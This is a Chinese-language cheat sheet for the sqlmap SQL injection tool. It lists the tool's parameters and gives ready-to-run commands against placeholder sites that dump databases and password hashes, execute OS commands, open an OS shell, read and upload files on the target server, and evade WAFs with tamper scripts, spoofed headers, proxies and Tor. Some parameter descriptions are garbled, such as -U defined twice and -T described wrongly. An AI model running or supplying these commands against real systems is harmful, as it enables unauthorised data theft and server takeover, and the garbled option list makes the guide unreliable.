1. 介绍
SQLMAP 是一款开源的渗透测试工具,能够自动检测和利用 SQL 注入漏洞,从而接管数据库服务器。它拥有强大的探测引擎和丰富的功能,可以进行数据库提权、文件系统访问、操作系统命令执行等操作。
2. 常用参数
- 基础参数:
--version: 显示程序版本号并退出-h, --help: 显示帮助信息并退出-u: 设置目标 URL-p: 指定测试参数-D: 指定要枚举的数据库名-U: 指定要枚举的数据库表-T: 枚举列的信息-C: 指定要枚举的数据库列-U: 指定要枚举的数据库用户--current-user: 获取当前用户名称--current-db: 获取当前数据库名称--cookie: 设置 cookie 值--dbs: 列出数据库--tables: 列出数据库中的表--columns: 列出表中的列--dump: 列出表中的字段--sql-shell: 执行 SQL 命令--os-cmd: 执行系统命令--os-shell: 与系统交互 shell-r: 加载外部请求包--batch: 使用默认参数进行测试--data=DATA: 通过 POST 发送数据字符串--level=LEVEL: 执行测试的等级(1-5,默认为 1)--risk=RISK: 执行测试的风险(0-3,默认为 1)-v VERBOSE: 详细级别: 0-6 (默认为 1)--proxy=PROXY: 使用 HTTP 代理连接到目标 URL--user-agent: 指定 HTTP User-Agent--tamper=TAMPER: 使用给定的脚本 (S) 篡改注入数据--random-agent: 随机的请求头
- Tamper 脚本:
- 使用方法:
--tamper xxx.py - 例如:
--tamper base64encode.py
- 使用方法:
3. 使用示例
基础使用
- 判断注入点和数据类型:
sqlmap -u http://www.test.php?id=1(GET 方法注入)sqlmap -r /etc/url.txt(POST 方法注入)
- 判断数据库名 (dbs):
sqlmap -u "http://www.test.php?id=1" --dbs - 判断表名 (tables):
sqlmap -u "http://www.test.php?id=1" -D 数据库名 --tables - 判断列名 (columns):
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column - 获取字段:
sqlmap -u "http://www.test.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump
进阶使用
sqlmap -u "http://url/news?id=1" --current-user(获取当前用户名称)sqlmap -u "http://url/news?id=1" --current-db(获取当前数据库名称)sqlmap -u "http://url/news?id=1" --dbs(枚举所有数据库名)sqlmap -u "http://url/news?id=1" -D "db_name" --tables(列出指定数据库的表名)sqlmap -u "http://url/news?id=1" -D "db_name" -T "tablename" --columns(列出指定数据库对应表的字段)sqlmap -u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name" --dump(获取字段内容)sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users(指定数据库类型)sqlmap -u "http://url/news?id=1" --users(列数据车用户)sqlmap -u "http://url/news?id=1" --passwords(数据库用户密码)sqlmap -u "http://url/news?id=1" --sql-shell/--os-cmd(执行指定 sql 命令)sqlmap -u "http://url/news?id=1" --os-cmd=whoami(执行系统命令)sqlmap -u "http://url/news?id=1" --os-shell(系统交互 shell)sqlmap -u "http://url/news?id=1" --dbs -o"sqImap.log"(保存进度)sqlmap -u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume(恢复已保存进度)sqlmap -u "http://url/news?id=1" --tamper "base64encode.py"(加载脚本)sqlmap -u "http://url/news?id=1" -p id(指定注入参数)sqlmap -u "http://url/news?id=1" --dump-all(爆出该数据库中的所有数据)sqlmap -u "http://url/news?id=1" --proxy="http://127.0.0.1:8080"(指定代理)sqlmap -u "http://url/news?id=1" --delay=3 --force-ssl(爆破 HTTPS 网站)sqlmap -u "http://url/news?id=1" --is-dba(判断当前用户是否有管理员权限)sqlmap -u "http://url/news?id=1" --identify-waf(检测是否有 WAF)sqlmap -u "http://url/news?id=1" --file-read "c:/test.txt"(读取目标服务器文件)sqlmap -u "http://url/news?id=1" --file-write test.txt --file-dest "e:/hack.txt"(上传文件到目标服务器)
过 WAF 手法
sqlmap -u "http://url/news?id=1"--random-agent(使用任意的 User-Agent 爆破)-v3(输出详细度)--threads 5(指定线程数)--fresh-queries(清除缓存)--flush-session(清空会话)--batch(默认交互)--random-agent(任意的 http 头)--tamper "base64encode.py "(对提交的数据进行 base64 编码)--referer http://www.baidu.com(伪造 referer 字段)--random-agent(使用任意 HTTP 头进行绕过)--time-sec=3(使用长的延时来避免触发 WAF 的机制)--hpp(使用 HTTP 参数污染进行绕过)--proxy=http://127.0.0.1:7890(使用代理进行绕过)--ignore-proxy(禁止使用系统的代理)--flush-session(清空会话)--hex或--no-cast(进行字符码转换)--mobile(对移动端的服务器进行注入)--tor(匿名注入)
直接使用
python sqlmap.py -u "https://www.vuln.cn/post.php?id=1" --force-ssl --proxy "http://127.0.0.1:7890" --batch --dbspython sqlmap.py -u "http://www.vuln.cn" –cookie "id=11" --level 2python sqlmap.py -u "www.xxxx.com/product/detail/id/3*.html" --dbms=mysql -v 3python sqlmap.py -r "c:\request.txt" -p id –dbms mysql –file-read="e:\www\as\config.php"